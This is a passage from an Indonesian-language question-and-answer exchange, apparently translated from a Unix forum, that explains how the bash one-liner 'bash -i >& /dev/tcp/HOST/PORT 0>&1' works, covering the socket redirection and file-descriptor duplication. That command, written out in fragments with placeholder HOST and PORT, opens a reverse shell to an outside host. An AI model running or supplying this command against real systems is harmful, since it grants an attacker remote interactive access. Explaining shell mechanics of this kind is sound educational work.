Jawaban:
Cuplikan ini menjalankan instance interaktif baru dari bash ( bash -i
), pada koneksi TCP ke port yang ditentukan pada host tertentu yang dibuat selama durasi proses bash. Output standar dan standard error dikirim melalui koneksi ini ( >& /dev/tcp/HOST/PORT
), dan input standar dibaca melalui koneksi ini ( 0>&1
- ini harus 0<&1
tapi 0>&1
bekerja terlalu).
Tidak ada penerusan port yang terjadi. Jelas, semacam server TCP harus mendengarkan dan menerima koneksi pada HOST: PORT, dan firewall harus membiarkan koneksi melewatinya.
/dev/tcp/HOST/PORT
? Saya berasumsi bahwa Anda telah mengganti nama dengan HOST
dan nomor dengan PORT
. Kalau tidak, Anda akan mendapatkan pesan kesalahan dari bash. Karena Anda tidak menyebutkan pesan kesalahan, saya berasumsi bahwa Anda tidak melihatnya.
0<&1
bagian itu. Saya membacanya sebagai 'take bash stdout ( &1
) dan pipa itu menjadi bash stdin ( 0
)', yang masuk akal. Bisakah Anda jelaskan cara kerja bagian ini?
0<&1
berarti menghubungkan apa pun yang saat ini dibuka pada file deskriptor 1 ke file deskriptor 0. Karena pengalihan sebelumnya >& /dev/tcp/HOST/PORT
terhubung fd 1 (default untuk redirection output) untuk /dev/tcp/HOST/PORT
, yaitu membuka soket TCP, ini menggandakan koneksi TCP ke file deskriptor 0 (yaitu soket yang sama sekarang juga terbuka pada fd 0, ini berbeda dari 0 </ dev / tcp / HOST / PORT yang akan membuka soket yang berbeda ke server yang sama).